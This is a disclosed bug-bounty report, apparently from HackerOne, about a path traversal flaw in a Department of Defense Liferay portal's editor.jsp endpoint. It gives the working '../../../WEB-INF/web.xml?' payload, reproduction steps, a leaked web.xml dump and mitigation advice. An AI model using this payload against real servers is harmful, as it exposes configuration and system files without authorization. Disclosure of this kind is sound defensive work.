Path traversal on ████████

Disclosed: 2019-10-04 15:23:01 By twicedi To deptofdefense
High
Vulnerability Details
**Summary:** The web application hosted on the "█████████" domain is affected by a path traversal vulnerability that could permit to an attacker to include arbirtary files that are outside of the restricted directory. **Description:** The affected handler is the "/html/js/editor/editor.jsp". This handler receives, through the "editorImpl" parameter, an input from the user to construct a pathname that is intended to identify a file, but the web app does not properly neutralize "dot-dot-slash (../)" within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory as showed in the following example in which the web.xml configuration file is included: Example of payload: > ../../../WEB-INF/web.xml? URL: (Note: the last question mark char ("?") is necessary to exploit the vulnerability otherwise an error is triggered, with a full stacktrace) ``` https://████/html/js/editor/editor.jsp?editorImpl=../../../WEB-INF/web.xml? ``` ``` HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Thu, 30 Mar 2017 20:24:43 GMT Connection: close Content-Length: 54193 <?xml version="1.0"?> <web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.4" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"> <context-param> <param-name>contextClass</param-name> <param-value>com.liferay.portal.spring.context.PortalApplicationContext</param-value> </context-param> <context-param> <param-name>contextConfigLocation</param-name> <param-value/> </context-param> <context-param> <param-name>com.ibm.websphere.portletcontainer.PortletDeploymentEnabled</param-name> <param-value>false</param-value> </context-param> <filter> <filter-name>Absolute Redirects Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.absoluteredirects.AbsoluteRedirectsFilter</filter-class> </filter> <filter> <filter-name>Audit Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.audit.AuditFilter</filter-class> </filter> <filter> <filter-name>Auto Login Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.autologin.AutoLoginFilter</filter-class> </filter> <filter> [REDACTED...] <filter> <filter-name>GZip Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.gzip.GZipFilter</filter-class> </filter> <filter> <filter-name>GZip Filter - Theme PNG</filter-name> <filter-class>com.liferay.portal.servlet.filters.gzip.GZipFilter</filter-class> <init-param> <param-name>url-regex-pattern</param-name> <param-value>.+/themes/.*/images/.*\.png</param-value> </init-param> </filter> <filter> <filter-name>Header Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.header.HeaderFilter</filter-class> <init-param> <param-name>url-regex-ignore-pattern</param-name> <param-value>.+/-/.+</param-value> </init-param> <init-param> <param-name>Cache-Control</param-name> <param-value>max-age=315360000, public</param-value> </init-param> <init-param> <param-name>Expires</param-name> <param-value>315360000</param-value> </init-param> <init-param> <param-name>Vary</param-name> <param-value>Accept-Encoding</param-value> </init-param> </filter> <filter> <filter-name>Header Filter - JSP</filter-name> <filter-class>com.liferay.portal.servlet.filters.header.HeaderFilter</filter-class> <init-param> <param-name>url-regex-pattern</param-name> <param-value>.+/(barebone|css|everything|main)\.jsp</param-value> </init-param> <init-param> <param-name>Cache-Control</param-name> <param-value>max-age=315360000, public</param-value> </init-param> <init-param> <param-name>Expires</param-name> <param-value>315360000</param-value> </init-param> <init-param> <param-name>Vary</param-name> <param-value>Accept-Encoding</param-value> </init-param> </filter> [REDACTED...] <filter> <filter-name>Minifier Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.minifier.MinifierFilter</filter-class> </filter> <filter> <filter-name>Minifier Filter - JSP</filter-name> <filter-class>com.liferay.portal.servlet.filters.minifier.MinifierFilter</filter-class> <init-param> <param-name>url-regex-pattern</param-name> <param-value>.+/(barebone|css|everything|main)\.jsp</param-value> </init-param> </filter> <filter> <filter-name>Monitoring Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.monitoring.MonitoringFilter</filter-class> </filter> <filter> <filter-name>Secure Main Servlet Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.secure.SecureFilter</filter-class> <init-param> <param-name>portal_property_prefix</param-name> <param-value>main.servlet.</param-value> </init-param> </filter> <filter> <filter-name>Session Id Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.sessionid.SessionIdFilter</filter-class> </filter> <filter> <filter-name>SSO CAS Filter</filter-name> <filter-class>com.liferay.portal.servlet.filters.sso.cas.CASFilter</filter-class> </filter> [REDACTED...] <filter-mapping> <filter-name>Sharepoint Filter</filter-name> <url-pattern>/sharepoint/_vti_bin/_vti_aut/author.dll</url-pattern> </filter-mapping> <filter-mapping> <filter-name>Sharepoint Filter</filter-name> <url-pattern>/sharepoint/_vti_bin/owssvr.dll</url-pattern> </filter-mapping> <filter-mapping> <filter-name>SSO CAS Filter</filter-name> <url-pattern>/c/portal/login</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> </filter-mapping> <filter-mapping> <filter-name>SSO CAS Filter</filter-name> <url-pattern>/c/portal/logout</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> </filter-mapping> <filter-mapping> <filter-name>SSO Ntlm Filter</filter-name> <url-pattern>/c/portal/login</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> </filter-mapping> <filter-mapping> <filter-name>SSO Ntlm Post Filter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> [REDACTED...] <filter-mapping> <filter-name>Monitoring Filter</filter-name> <url-pattern>/user/*</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> </filter-mapping> <filter-mapping> <filter-name>Monitoring Filter</filter-name> <url-pattern>/web/*</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> </filter-mapping> <listener> <listener-class>com.liferay.portal.spring.context.PortalContextLoaderListener</listener-class> </listener> <listener> <listener-class>com.liferay.portal.servlet.PortalSessionListener</listener-class> </listener> <listener> <listener-class>com.liferay.portal.kernel.servlet.PortletSessionListenerManager</listener-class> </listener> <listener> <listener-class>com.liferay.portal.kernel.servlet.SerializableSessionAttributeListener</listener-class> </listener> <listener> <listener-class>com.liferay.portal.servlet.SharedSessionAttributeListener</listener-class> </listener> <servlet> <servlet-name>Web Server Servlet</servlet-name> <servlet-class>mil.army.lwn.liferay.portal.webserver.WebServerServlet</servlet-class> <load-on-startup>2</load-on-startup> </servlet> <servlet> <servlet-name>Main Servlet</servlet-name> <servlet-class>com.liferay.portal.servlet.MainServlet</servlet-class> <init-param> <param-name>config</param-name> <param-value>/WEB-INF/struts-config.xml,/WEB-INF/struts-config-ext.xml</param-value> </init-param> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>detail</param-name> <param-value>0</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet> <servlet-name>Combo Servlet</servlet-name> <servlet-class>com.liferay.portal.servlet.ComboServlet</servlet-class> <load-on-startup>2</load-on-startup> </servlet> <servlet> <servlet-name>Display Chart</servlet-name> <servlet-class>com.liferay.portal.servlet.DisplayChartServlet</servlet-class> <load-on-startup>2</load-on-startup> </servlet> <servlet> <servlet-name>Facebook Servlet</servlet-name> <servlet-class>com.liferay.portal.facebook.FacebookServlet</servlet-class> <load-on-startup>2</load-on-startup> </servlet> <servlet> <servlet-name>Friendly URL Servlet - Private Group</servlet-name> <servlet-class>com.liferay.portal.servlet.FriendlyURLServlet</servlet-class> <init-param> <param-name>private</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>user</param-name> <param-value>false</param-value> </init-param> <load-on-startup>2</load-on-startup> </servlet> <servlet> <servlet-name>Friendly URL Servlet - Private User</servlet-name> <servlet-class>com.liferay.portal.servlet.FriendlyURLServlet</servlet-class> <init-param> <param-name>private</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>user</param-name> <param-value>true</param-value> </init-param> <load-on-startup>2</load-on-startup> </servlet> [REDACTED...] <servlet> <servlet-name>XML-RPC Servlet</servlet-name> <servlet-class>com.liferay.portal.xmlrpc.XmlRpcServlet</servlet-class> <load-on-startup>2</load-on-startup> </servlet> <servlet> <servlet-name>Clean Up Servlet</servlet-name> <servlet-class>com.liferay.portal.servlet.CleanUpServlet</servlet-class> <load-on-startup>3</load-on-startup> </servlet> <servlet-mapping> <servlet-name>Main Servlet</servlet-name> <url-pattern>/c/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>Combo Servlet</servlet-name> <url-pattern>/combo/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>Display Chart</servlet-name> <url-pattern>/display_chart/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>Facebook Servlet</servlet-name> <url-pattern>/facebook/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>Friendly URL Servlet - Private Group</servlet-name> <url-pattern>/group/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>Friendly URL Servlet - Private User</servlet-name> <url-pattern>/user/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>Friendly URL Servlet - Public</servlet-name> <url-pattern>/web/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>Google Gadget Servlet</servlet-name> <url-pattern>/google_gadget/*</url-pattern> </servlet-mapping> [REDACTED...] <servlet-mapping> <servlet-name>Widget Servlet</servlet-name> <url-pattern>/widget/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>XML-RPC Servlet</servlet-name> <url-pattern>/xmlrpc/*</url-pattern> </servlet-mapping> <session-config> <session-timeout>120</session-timeout> </session-config> <welcome-file-list> <welcome-file>index.html</welcome-file> <welcome-file>index.jsp</welcome-file> </welcome-file-list> <error-page> <error-code>404</error-code> <location>/errors/404.jsp</location> </error-page> <jsp-config> <taglib> <taglib-uri>http://displaytag.sf.net</taglib-uri> <taglib-location>/WEB-INF/tld/displaytag.tld</taglib-location> </taglib> <taglib> <taglib-uri>http://java.sun.com/jsp/jstl/core</taglib-uri> <taglib-location>/WEB-INF/tld/c.tld</taglib-location> </taglib> <taglib> <taglib-uri>http://java.sun.com/jsp/jstl/fmt</taglib-uri> <taglib-location>/WEB-INF/tld/fmt.tld</taglib-location> </taglib> <taglib> <taglib-uri>http://java.sun.com/jsp/jstl/functions</taglib-uri> <taglib-location>/WEB-INF/tld/fn.tld</taglib-location> </taglib> [REDACTED...] <taglib> <taglib-uri>http://struts.apache.org/tags-tiles</taglib-uri> <taglib-location>/WEB-INF/tld/struts-tiles.tld</taglib-location> </taglib> <taglib> <taglib-uri>http://struts.apache.org/tags-tiles-el</taglib-uri> <taglib-location>/WEB-INF/tld/struts-tiles-el.tld</taglib-location> </taglib> </jsp-config> <security-constraint> <web-resource-collection> <web-resource-name>/c/portal/protected</web-resource-name> <url-pattern>/c/portal/protected</url-pattern> <url-pattern>/ar/c/portal/protected</url-pattern> [REDACTED...] <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>users</role-name> </auth-constraint> <user-data-constraint> <transport-guarantee>NONE</transport-guarantee> </user-data-constraint> </security-constraint> <login-config> <auth-method>FORM</auth-method> <realm-name>PortalRealm</realm-name> <form-login-config> <form-login-page>/c/portal/j_login</form-login-page> <form-error-page>/c/portal/j_login_error</form-error-page> </form-login-config> </login-config> <security-role> <role-name>users</role-name> </security-role> </web-app> ``` ## Impact It may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. ## Step-by-step Reproduction Instructions 1. It’s possible to insert a malicious string as the "editorImpl" parameter of the following handler to access files that are outside of the restricted directory: (Note: the last question mark char ("?") is necessary to exploit the vulnerability otherwise an error is triggered, with a full stacktrace) ``` https://██████████/html/js/editor/editor.jsp?editorImpl=../../../WEB-INF/web.xml? ``` ## Suggested Mitigation/Remediation Actions It is advisable to: - Prefer working without user input when using file system calls - Use indexes rather than actual portions of file names when templating or using language files - Ensure the user cannot supply all parts of the path – surround it with your path code - Validate the user’s input by only accepting known good – do not sanitize the data - Use chrooted jails and code access policies to restrict where the files can be obtained or saved to - If forced to use user input for file operations, normalize the input before using in file io API's I'm available for further clarification, Best, Davide
Actions
View on HackerOne
Report Stats
  • Report ID: 217344
  • State: Closed
  • Substate: resolved
  • Upvotes: 11
Share this report